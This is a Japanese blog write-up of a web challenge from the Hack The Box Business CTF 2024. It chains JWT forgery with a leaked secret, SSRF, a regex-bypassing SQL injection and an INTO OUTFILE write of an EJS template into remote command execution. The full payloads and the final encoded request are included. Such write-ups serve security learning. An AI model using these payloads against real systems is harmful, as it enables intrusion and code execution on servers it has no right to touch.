見出し画像

#131 [HTB Business CTF 2024] Blueprint Heist

 先日開催されたHack The Box Business CTFに参加しました。初めてチームでのCTFを経験して、めちゃくちゃ楽しみました。Mediumレベルですが、Web問題が解けたので記念にWriteUp残しておきます。

Blueprint Heist

 JavaScriptのフレームワーク「express」で作られたアプリで、ejsというテンプレートエンジンを使用しています。HTMLページをPDFにしてダウンロードする機能があります。管理者用の機能も用意されていますが、内部ネットワークからのアクセスに制限されているため、アクセスできません。

ソースコードを確認すると、複数の脆弱性があることがわかります。

  • JWTトークンを任意に書き換えられる

  • PDFダウンロード機能にSSRF

  • 管理者のユーザー検索機能にSQL Injection

これらを組み合わせて、下記の流れで攻撃すればよさそうです。

  1. AdminのJWTトークンを生成

  2. SSRFを使って、管理者機能にアクセス

  3. SQL Injectionの防御機構をバイパス

  4. SQL Injectionでejsファイルの書き込み

  5. ejsで任意コードの実行

Walk Through

1. AdminのJWTトークンを生成

 JWTトークンは、シークレットキーを使って署名されています。ソースコードにハードコードされているsecretがそのまま使用されていたので、トークンの内容を自由に書き換えられる状態でした。

secret=Str0ng_K3y_N0_l3ak_pl3ase?

下記エンドポイントから、ゲスト用のトークンが取得できます。
GET /getToken

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTcxNjA5MDI5Nn0.J4yFOj7V8Dy1wvHqmp6nKWP3E_oUVZV0RMXUop3Oud0

ゲスト用のトークンのroleをuserからadminに書き換えてしまいましょう。この際、secretを使って署名をすることで正当なJWTトークンを生成できます。
jwt.ioを使うと簡単です。

書き換えたJWTトークン

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTYwOTAyOTZ9.gtJVgykGY02vdlpSV7WFjdEcBTtBFPEzMJZPBGqlGP4

2. SSRFを使って、管理者機能にアクセス

 下記エンドポイントは、指定されたURLにアクセスして、画面をPDFに変換してダウンロードする機能です。

POST /download?token=<ゲストのJWTトークン>
url=<PDFにしたいページ>

この機能を悪用して、内部ネットワークにリクエストを送信することができます。(SSRF
管理者用の機能は、adminロールのトークンを使い、かつ内部ネットワークからアクセスする必要があります。

const authMiddleware = (requiredRole) => {
    return (req, res, next) => {
        const token = req.query.token;

        if (!token) {
            return next(generateError(401, "Access denied. Token is required."));
        }

        const role = verifyToken(token);

        if (!role) {
            return next(generateError(401, "Invalid or expired token."));
        }

        if (requiredRole === "admin" && role !== "admin") {
            return next(generateError(401, "Unauthorized."));
        } else if (requiredRole === "admin" && role === "admin") {
            if (!checkInternal(req)) {
                return next(generateError(403, "Only available for internal users!"));
            }
        }

        next();
    };
};
function checkInternal(req) {
    const address = req.socket.remoteAddress.replace(/^.*:/, '')
    return address === "127.0.0.1"
}

管理者のユーザー検索機能にリクエストを送信するため、下記のような値をurlに設定する必要があります。値は、URLエンコードする必要があることに注意。

url=http%3A%2F%2F127.0.0.1%3A1337%2Fgraphql?token=<管理者のJWTトークン>%26query=<GraphQLのクエリ>

まとめると、次のようなリクエストを送信することで、管理者のユーザー検索機能を攻撃できるようになります。

POST /download
?token=<ゲストのJWTトークン>

url=http%3A%2F%2F127.0.0.1%3A1337%2Fgraphql
    ?token=<管理者のJWTトークン>
    %26query=<GraphQLのクエリ>

3. SQL Injectionの防御機構をバイパス

 ユーザー検索機能はGraphQLで実装されています。ソースコードを確認すると、getDataByNameではSQL文に変数展開しており、nameパラメータでSQL Injectionが可能になっています。

getDataByName: {
      type: new GraphQLList(UserType),
      args: {
        name: { type: GraphQLString }
      },
      resolve: async(parent, args, { pool }) => {
        let data;
        const connection = await pool.getConnection();
        console.log(args.name)
        if (detectSqli(args.name)) {
          return generateError(400, "Username must only contain letters, numbers, and spaces.")
        }
        try {
            data = await connection.query(`SELECT * FROM users WHERE name like '%${args.name}%'`).then(rows => rows[0]);
        } catch (error) {
            return generateError(500, error)
        } finally {
            connection.release()
        }
        return data;
      }
    }

ただし、nameパラメータは、detectSqli関数でフィルターされており、記号などが入力できないようになっているので、なんとかバイパスしなければいけません。

function detectSqli (query) {
    const pattern = /^.*[!#$%^&*()\\-_=+{}\\[\\]\\\\|;:'\\",.<>\\/?]/
    return pattern.test(query)
}

正規表現では、dotAllフラグ(/~~~/s)を付けない場合、.は改行にマッチしません。
つまり、上記においては、改行コードをクエリに埋め込むことで記号を含めることができるようになります。

pattern.test("a\\r\\n' OR 1=1; -- -") => false

防御機構をバイパスするクエリは、下記のようになります。ここで、改行コードはUnicodeエンコードする必要があることに注意。(\r\nはGraphQLのJSONフォーマットを崩してしまうため)

{
    getDataByName(name: "a\\u000d\\u000a' <SQLi ペイロード>") {
		    name,
		    department,
		    isPresent
		}
}

4. SQL Injectionでejsファイルの書き込み

 データベースはMySQLなので、INTO OUTFILE構文を使用してファイルを書き込むことができます。
ejsファイルを作成し、任意のJavaScriptを実行することを目指せばよさそうです。
しかし、ejsファイルは直接実行できないので、テンプレートエンジンから起動する必要があります。app/views/errorsにはエラー画面のテンプレートが格納されており、各HTTPステータスに対応したテンプレートが表示される仕組みになっています。

const renderError = (err, req, res) => {
    res.status(err.status);
    const templateDir = __dirname + '/../views/errors';
    const errorTemplate = (err.status >= 400 && err.status < 600) ? err.status : "error"
    let templatePath = path.join(templateDir, `${errorTemplate}.ejs`);

    if (!fs.existsSync(templatePath)) {
        templatePath = path.join(templateDir, `error.ejs`);
    }
    console.log(templatePath)
    res.render(templatePath, { error: err.message }, (renderErr, html) => {
        res.send(html);
    });
};

404に対応したものがないので、app/views/errors/404.ejsを作成し、存在しないページにアクセスすることで任意のJavaScriptが実行できそうです。
よって、SQL Injectionのペイロードは下記のようにします。

' UNION ALL SELECT '<ejsに書き込む文字列>',null,null,null INTO OUTFILE '/app/views/errors/404.ejs'; -- -

ejsでコマンドを実行するには、下記のようになります。

<%- global.process.mainModule.require(`child_process`).execSync(`<コマンド>`) %>

フラグを取得するため、/readflagを実行するように設定しましょう。

最終的なリクエスト

POST /download?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTcxNjA5MDM4NH0.w779iY_pd7PTUom6TuIEJ5sDiFy1bp0fB-JPO7a6Cy8 HTTP/1.1

url=http%3A%2F%2F127.0.0.1%3A1337%2Fgraphql
	?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTYwOTAyOTZ9.gtJVgykGY02vdlpSV7WFjdEcBTtBFPEzMJZPBGqlGP4
	%26query=%7BgetDataByName%28name%3A%20%22a%5cu000d%5cu000a'%20UNION%20ALL%20SELECT%20%27%3C%25%2D%20global%2Eprocess%2EmainModule%2Erequire%28%60child%5Fprocess%60%29%2EexecSync%28%60%2Freadflag%60%29%20%25%3E%27,null,null,null%20INTO%20OUTFILE%20'/app/views/errors/404.ejs';%20--%20-%22%29%20%7Bname%2Cdepartment%2CisPresent%7D%7D

5. ejsで任意コードの実行

 書き込んだ404.ejsを実行するため、/testのような存在しないページにアクセスすると、コマンドが実行され、フラグが画面に表示されます。YES!


まとめ

 Medium問題がなんとか解けましたが、一歩届かない問題もたくさんありました。悔しいです。来年はHard問題も解けるようさらに精進したいです!

EOF

この記事が気に入ったらサポートをしてみませんか?